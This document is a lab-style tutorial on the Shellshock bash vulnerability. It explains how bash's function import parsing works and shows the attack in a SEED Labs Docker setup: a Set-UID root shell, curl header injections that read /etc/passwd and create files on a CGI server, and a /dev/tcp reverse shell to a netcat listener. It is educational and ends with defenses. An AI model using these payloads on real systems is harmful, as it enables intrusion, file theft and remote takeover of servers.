# Shellshock ## What is shellshock ? Shellshock, also known as Bashdoor, is a family of security bugs in the Unix Bash shell, the first of which was disclosed on 24 September 2014. Shellshock could enable an attacker to cause Bash to execute arbitrary commands and gain unauthorized access to many Internet-facing services, such as web servers, that use Bash to process requests. ## The Shellshock vulnerability ### **Shell functions** A shell program is a command line interpreter in operating systems. It reads command on the console or the terminated window, then executes it. The `bash` shell is one of the most popular shell program in the `Linux` OS. The Shellshock bugs involves functions defined in shell, which are called shell functions. This command line will create the shell function `foo()` ``` $ foo() {echo "Hello world"; } ``` To view all the defined function, we use `declare` command, whose `-f` flag means that the name is consider as a function, not variable: ``` $ declare -f foo() foo() { echo "Hello world" } $ foo Hello world ``` **Passing a function to the child process**: The Shellshock bug involves passing a function definition to a child shell process. To get the function definition from the parent shell, there are two ways: - Have the parent shell define the function, then the child shell will use it. For example, we will use the `foo()` function, which is defined above. The `export` command is used to export the shell function for the child process ``` $ export -f foo $ bash (child):$ declare -f foo() foo() { echo "Hello world" } ``` This method requires the parent process to also be the shell - Define a shell variable with special contents: For example, we define the `foo` variable: ``` $ foo=' () { echo "Hello world" ; }' ``` It is required that there is space before and after the `{`. Next, we export this variable ``` $ echo $foo () { echo "Hello world"; } $ export foo $ bash ``` When use the `export` command without `-f` option, the `foo` variable will be passed down as an environment variable to the child process. If the program executed in the child process is `bash`, it will convert the environment variables into shell variables. However, this variable start with special content `()`, `bash` will convert this variable to the shell function. Now in the child shell, we will check this ``` $ echo $foo $ declare -f foo foo() { echo : "Hello world" } ``` We can see in the child shell that foo now becomes the shell function .Note that this method does not required the parent process to be shell process. It can be any process which pass the function definition via an environment variable. This make the Shellshock attack more complexity The way these methods use to pass function definition to child shell are actually the same. Both of them use `export` command, which marks an environment variable to be exported to the child-process. When the child run `bash`, the `bash` will turn the environment variable back to a function definition ### The Shellshock vulnerability Shellshock, also known as Bashdoor, is a family of security bugs in the Unix Bash shell, the first of which was disclosed on 24 September 2014. The bug has been exiting in a C file in `bash` source code. **Shellshock bug** The Shellshock bug starts in the `variable.c` file in the `bash` source code. Let us see the definition of the `foo` variable again: ``` $ foo=' () { echo "Hello world" ; }' ``` These characters `() {` make the command be parsed, but it has a mistake. This is the code in `variable.c` ```C /* Initialize the shell variables from the current environment. If PRIVMODE is nonzero, don't import functions from ENV or parse $SHELLOPTS. */ void initialize_shell_variables (env, privmode) char **env; int privmode; { [...] for (string_index = 0; string = env[string_index++]; ) { [...] /* If exported function, define it now. Don't import functions from the environment in privileged mode. */ if (privmode == 0 && read_but_dont_execute == 0 && STREQN ("() {", string, 4)) { [...] parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST); [...] } } ``` We will redefine the `foo` like this: ``` foo=' () { echo "Hello world" ; }; echo "extra";' ``` At the above code, a `for` loop through all environment variables, then check if there is an exported function (an environment variables starts with `"() {"`), `bash` will remove `'='`, converts `foo` into function definition: ``` foo () { echo "Hello world" ; }; echo "extra"; ``` Now, our variable string will have two commands. Then the `parse_and_execute()` will be executed to parse the function definition. Source code for this function can be found [here](http://git.savannah.gnu.org/cgit/bash.git/tree/builtins/evalstring.c?id=ac50fbac377e32b98d2de396f016ea81e8ee9961#n178). However, not only the function can parse the function definitions, but also the shell commands: - If the string contains only function definition, the parsing function will parse it. - If the string contains function definition and shell command, the parsing function will execute it - If the string contains multiple commands, seperated by `;`, the parsing function will execute them Now back to our `foo` variable ``` foo () { echo "Hello world" ; }; echo "extra"; ``` The string now contains two command: `foo () { echo "Hello world" ; }` and `echo "extra";`. When parsing, it will parse and execute them. Let's check it ``` $ foo=' () { echo "Hello world" ; }; echo "extra";' $ export foo $ bash extra # the second command is executed (child) $ declare -f foo foo() { echo : "Hello world" } ``` Thus, the idea for Shellshock attack is: If we have a function definition, if we can add some extra command (given by the attacker), then pass this function via environment variable to `bash`, due to the mistake in `parse_and_execute()`, we can force the target to run the commands. The condition for exploiting Shellshock vulnerability in `bash`: - The target should run `bash` . - The targer should get some environment variable from outside (attacker of illegal source). ## Launch the Shellshock attack Now, we will use some examples to show how Shellshock attack works in Linux. To launch the attack successfully, the following conditions must be satisfied: - The target program should run `bash` - The target process should get some environment variables from outside (ex. from the attacker) ### Set up To set up examples for Shellshock attack, we will use the tasks from [SEEDLAB 2.0](https://seedsecuritylabs.org/Labs_20.04/Software/Shellshock/) Docker setup: ``` $ docker-compose build # Build the container image $ docker-compose up # Start the container $ docker-compose down # Shut down the container ``` Get a shell on that container (after build and start a container) ``` [05/12/22]seed@VM:~/.../Shellshock$ dockps e56c92ca884d victim-10.9.0.80 [05/12/22]seed@VM:~/.../Shellshock$ docksh e56 root@e56c92ca884d: ``` ### Attack through Set-UID program Let us see the C program below: ``` # vul.c #include <unistd.h> #include <stdio.h> #include <stdlib.h> void main(){ setuid(geteuid()); system('/bin/ls -l'); } ``` This program uses the `system()` to create a child process, then use `execl()` to execute the `"/bin/ls"` program, and asks the shell program to execute the `/bin/ls` command The `setuid(geteuid())` turns the real user ID into the effective user ID. If the real user ID is not the same as the effective user ID, `bash` will not process function declarations from environment variable, and then the attack will not be launched **Launch the attack**: We complie the above C code: ``` [05/13/22]seed@VM:~/.../image_www$ gcc vul.c -o vul [05/13/22]seed@VM:~/.../image_www$ ./vul total 4848 -rwxrwxr-x 1 seed seed 4919752 Dec 5 2020 bash_shellshock -rw-rw-r-- 1 seed seed 334 Feb 26 2021 Dockerfile -rwxrwxr-x 1 seed seed 130 Dec 5 2020 getenv.cgi -rw-rw-r-- 1 seed seed 90 Dec 5 2020 server_name.conf -rwxrwxr-x 1 seed seed 16784 May 13 00:24 vul -rw-rw-r-- 1 seed seed 130 May 13 00:24 vul.c -rwxrwxr-x 1 seed seed 85 Dec 5 2020 vul.cgi ``` Next, change the owner of `vul` file to root: ``` [05/13/22]seed@VM:~/.../image_www$ sudo chown root vul [05/13/22]seed@VM:~/.../image_www$ sudo chmod 4755 vul [05/13/22]seed@VM:~/.../image_www$ ./vul total 4848 -rwxrwxr-x 1 seed seed 4919752 Dec 5 2020 bash_shellshock -rw-rw-r-- 1 seed seed 334 Feb 26 2021 Dockerfile -rwxrwxr-x 1 seed seed 130 Dec 5 2020 getenv.cgi -rw-rw-r-- 1 seed seed 90 Dec 5 2020 server_name.conf -rwsr-xr-x 1 root seed 16784 May 13 00:24 vul -rw-rw-r-- 1 seed seed 130 May 13 00:24 vul.c -rwxrwxr-x 1 seed seed 85 Dec 5 2020 vul.cgi ``` Then, make `/bin/sh` point to the `bash_shellshock` program: ``` sudo ln -sf bash_shellshock /bin/sh ``` After that, we can launch the attack: ``` [05/13/22]seed@VM:~/.../image_www$ foo='() { echo "hello"; }; /bin/sh' [05/13/22]seed@VM:~/.../image_www$ export foo ``` We can see, due to Shellshock bug, concretely the parsing logic in `variable.c` in the `bash` source code, `foo` is consider as the function declaration. `bash` will execute the command after the `}` character (`/bin/sh`) Now, run the `vul` file, we will get the root shell: ``` [05/13/22]seed@VM:~/.../image_www$ ./vul sh-4.2$ ``` ### Attack through CGI (Common Gateway Interface) To exploit a Shellshock vulnerability in a bash-based CGI program, attackers need to pass their data to the vulnerable bash program, and the data need to be passed via an environment variable We set up two virtual machines for this experiment: one for the attacker and one for the victim server: ``` [05/12/22]seed@VM:~/.../Shellshock$ docker-compose up Creating network "net-10.9.0.0" with the default driver Creating victim-10.9.0.80 ... done Attaching to victim-10.9.0.80 victim-10.9.0.80 | * Starting Apache httpd web server apache2 * ``` There is a simple CGI program `vul.gci`, which simply prints out `"Hello world"` ``` echo "Content-type: text/plain" echo echo echo "Hello World" ``` We need to place this CGI program in the victim server's `/usr/lib/cgi-bin` directory and set its permission to 755 for executing.We need to use the root privilege (`sudo`) as the folder is only writable in the root. To access this CGI program, we can use the browser ![CGI browser shellshock](https://i.imgur.com/4xodEFc.png) or use `curl`, which can send the HTTP request from the attacker machine to the victim ``` [05/12/22]seed@VM:~/.../Shellshock$ curl http://www.seedlab-shellshock.com/cgi-bin/vul.cgi Hello World ``` Let us try another program `getenv.cgi`, which prints out all environment variables ``` #!/bin/bash_shellshock echo "Content-type: text/plain" echo echo "****** Environment Variables ******" strings /proc/$$/environ ``` Now let us access this CGI program by `curl`. With `-v` option, the `curl` will print out the header of the HTTP request : <pre> [05/12/22]seed@VM:~/.../Shellshock$ curl -v http://www.seedlab-shellshock.com/cgi-bin/getenv.cgi * Trying 10.9.0.80:80... * TCP_NODELAY set * Connected to www.seedlab-shellshock.com (10.9.0.80) port 80 (#0) > GET /cgi-bin/getenv.cgi HTTP/1.1 > Host: www.seedlab-shellshock.com > <b>User-Agent: curl/7.68.0</b> > Accept: */* > * Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Fri, 13 May 2022 01:08:11 GMT < Server: Apache/2.4.41 (Ubuntu) < Vary: Accept-Encoding < Transfer-Encoding: chunked < Content-Type: text/plain < ****** Environment Variables ****** HTTP_HOST=www.seedlab-shellshock.com <b>HTTP_USER_AGENT=curl/7.68.0</b> HTTP_ACCEPT=*/* PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin SERVER_SIGNATURE=<address>Apache/2.4.41 (Ubuntu) Server at www.seedlab-shellshock.com Port 80</address> SERVER_SOFTWARE=Apache/2.4.41 (Ubuntu) SERVER_NAME=www.seedlab-shellshock.com SERVER_ADDR=10.9.0.80 SERVER_PORT=80 REMOTE_ADDR=10.9.0.1 DOCUMENT_ROOT=/var/www/html REQUEST_SCHEME=http CONTEXT_PREFIX=/cgi-bin/ CONTEXT_DOCUMENT_ROOT=/usr/lib/cgi-bin/ SERVER_ADMIN=webmaster@localhost SCRIPT_FILENAME=/usr/lib/cgi-bin/getenv.cgi REMOTE_PORT=39790 GATEWAY_INTERFACE=CGI/1.1 SERVER_PROTOCOL=HTTP/1.1 REQUEST_METHOD=GET QUERY_STRING= REQUEST_URI=/cgi-bin/getenv.cgi SCRIPT_NAME=/cgi-bin/getenv.cgi * Connection #0 to host www.seedlab-shellshock.com left intact </pre> Notice the `User-Agent` field here. It provides some information about the client and is set by client. In addition, the environment variable `HTTP_USER_AGENT` 's value is the same as that of the `User-Agent` field. Therefore, we can tell that Apache web server gets the user-agent information from the header of HTTP request, assign it to the environment variable `HTTP_USER_AGENT` Now we will try other options: - Use `curl` with `-A` option to set the user-agent field like this: ``` [05/12/22]seed@VM:~/.../Shellshock$ curl -A "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi ..... > User-Agent: my data ...... HTTP_USER_AGENT=my data ..... ``` We can see that the `User-Agent` field is set to `"my data"` and so is the environment variable `HTTP_USER_AGENT`, which means this variable gets value from the user. - Use `curl` with `-e` option ``` [05/12/22]seed@VM:~/.../Shellshock$ curl -e "my data" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi ..... > Referer: my data ...... HTTP_REFERER=my data ..... ``` - Use `curl` with `-H` option: ``` [05/12/22]seed@VM:~/.../Shellshock$ curl -H "AAAAAA: BBBBBB" -v www.seedlab-shellshock.com/cgi-bin/getenv.cgi ..... > AAAAAA=BBBBBB ...... HTTP_AAAAAA=BBBBBB ..... ``` We can see that there is a new field `AAAAAA` with its value `BBBBBB`, and a new environment variable`HTTP_AAAAAA`. Thus, the `-H` option is used to inject data into the environment variable of the CGI program Now it's time for us to launch the Shellshock attack. We will launch the attack through the URL http://www.seedlab-shellshock.com/cgi-bin/vul.cgi If we want to the output return to us, the output code must follow protocol: it should be started with `Content type: text/plain` followed by an empty line, and then we can place the plain-text output. Let us do some different approaches: - Get list of files in the folder ``` [05/12/22]seed@VM:~/.../Shellshock$ curl -A "() { echo hello;}; echo Content_type: text/plain; echo; /bin/ls -l" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi total 8 -rwxr-xr-x 1 root root 130 Dec 5 2020 getenv.cgi -rwxr-xr-x 1 root root 85 Dec 5 2020 vul.cgi ``` Now check our victim server: ``` SERVER: root@e56c92ca884d:/# ls -l /usr/lib/cgi-bin total 8 -rwxr-xr-x 1 root root 130 Dec 5 2020 getenv.cgi -rwxr-xr-x 1 root root 85 Dec 5 2020 vul.cgi root@e56c92ca884d:/# ``` - Get the content of the file (example: `/etc/passwd`): ``` [05/12/22]seed@VM:~/.../Shellshock$ curl -A "() { echo hello;}; echo Content_type: text/plain; echo; /bin/cat /etc/passwd" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin ``` - Get the server to tell us its process’ user ID ``` [05/12/22]seed@VM:~/.../Shellshock$ curl -A "() { echo hello;}; echo Content_type: text/plain; echo; /bin/id" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi uid=33(www-data) gid=33(www-data) groups=33(www-data) ``` - Get the server to create a file (example: `virus` in `/tmp` folder). We will use `touch` to create the file. In addition, we use `-H` option in `curl` to announce to the victim ``` [05/12/22]seed@VM:~/.../Shellshock$ curl -H "ATTACK:() { echo hello;}; echo Content_type: text/plain; echo; /bin/touch /tmp/virus" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi ``` Check whether the file is created successfully ``` [05/12/22]seed@VM:~/.../Shellshock$ curl -H "ATTACK:() { echo hello;}; echo Content_type: text/plain; echo; /bin/ls -l /tmp" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi total 0 -rw-r--r-- 1 www-data www-data 0 May 13 02:29 virus ``` We check again in the server: ``` SERVER root@e56c92ca884d:/# ls /tmp virus ``` - Now we will try to get content of `/etc/shadow` file: ``` [05/12/22]seed@VM:~/.../Shellshock$ curl -A "() { echo hello;}; echo Content_type: text/plain; echo; /bin/cat /etc/shadow" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi ``` Nothing happen. As we can see, we cannot steal the content of this file because `etc/shadow` file can be only read by the root. ## Reverse shell Reverse shell is a shell process started on a machine, with its input and output being controlled by somebody from a remote computer. Basically, the shell runs on the victim’s machine, but it takes input from the attacker machine and also prints its output on the attacker’s machine. Reverse shell gives attackers a convenient way to run commands on a compromised machine. The key idea of reverse shell is to redirect its standard input, output, and error devices to a network connection, so the shell gets its input from the connection, and prints out its output also to the connection. At the other end of the connection is a program run by the attacker; the program simply displays whatever comes from the shell at the other end, and sends whatever is typed by the attacker to the shell, over the network connection. We will also set up the two VMs: a client (attacker) with IP address 10.0.2.15, and a server(victim) with IP address 10.0.9.80 (you can type `ip addr` if you don't know) Now let's set up a connection from the attacker with `netcat` and `-l` option: ``` ATTACKER [05/12/22]seed@VM:~/.../Shellshock$ nc -nv -l 9090 Listening on 0.0.0.0 9090 ``` Then, on the server machine, we now directly run the following bash program on the Server machine (10.0.2.5) to emulate what attackers would run after compromising the server via the Shellshock attack. ``` /bin/bash -i > /dev/tcp/10.0.2.15/9090 0<&1 2>&1 ``` - `/bin/bash -i`: The shell must provide a shell prompt - `> /dev/tcp/10.0.2.15/9090`: Output of the shell will be directed to the server - `0<&1`: The shell program will get its input from the same TCP connection. - `2>&1`: The error output is redirected to stdout, which is the TCP connection. Now look at the bash command on the victim: ``` ATTACKER [05/12/22]seed@VM:~/.../Shellshock$ curl -A "() { echo hello; }; echo Content_type:text/plain; echo; echo; /bin/bash -i > /dev/tcp/10.0.2.15/9090 0<&1 2>&1" http://www.seedlab-shellshock.com/cgi-bin/vul.cgi ``` Now let us see what happened in client: ``` ATTACKER [05/12/22]seed@VM:~/.../Shellshock$ nc -nv -l 9090 Listening on 0.0.0.0 9090 Connection received on 10.9.0.80 40682 bash: cannot set terminal process group (29): Inappropriate ioctl for device bash: no job control in this shell www-data@e56c92ca884d:/usr/lib/cgi-bin$ ``` That is a reverse shell we created. Now we can attack the server ``` ATTACKER www-data@e56c92ca884d:/usr/lib/cgi-bin$ id id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@e56c92ca884d:/usr/lib/cgi-bin$ ls -l ls -l total 8 -rwxr-xr-x 1 root root 130 Dec 5 2020 getenv.cgi -rwxr-xr-x 1 root root 85 Dec 5 2020 vul.cgi www-data@e56c92ca884d:/usr/lib/cgi-bin$ ls -l /tmp ls -l /tmp total 0 -rw-r--r-- 1 www-data www-data 0 May 13 02:29 virus www-data@e56c92ca884d:/usr/lib/cgi-bin$ ``` ## Counter attack - Update for the latest `bash` - Use an IDS/IPS to detect for any type of network communication: It will notify you when a connection is established and remote commands are executed. - Use a web application firewall to monitor the vulnerability in the header. (a signature will be added to the POST/GET field): CGI’s (Common Gateway Interface) and CGI scripts are the most affected to the exploiting ability of the bug from a web application by code that passes through the `Bash`. This signature will monitor for attempts to bypass the detection signature via multiple whitespace using`(){` command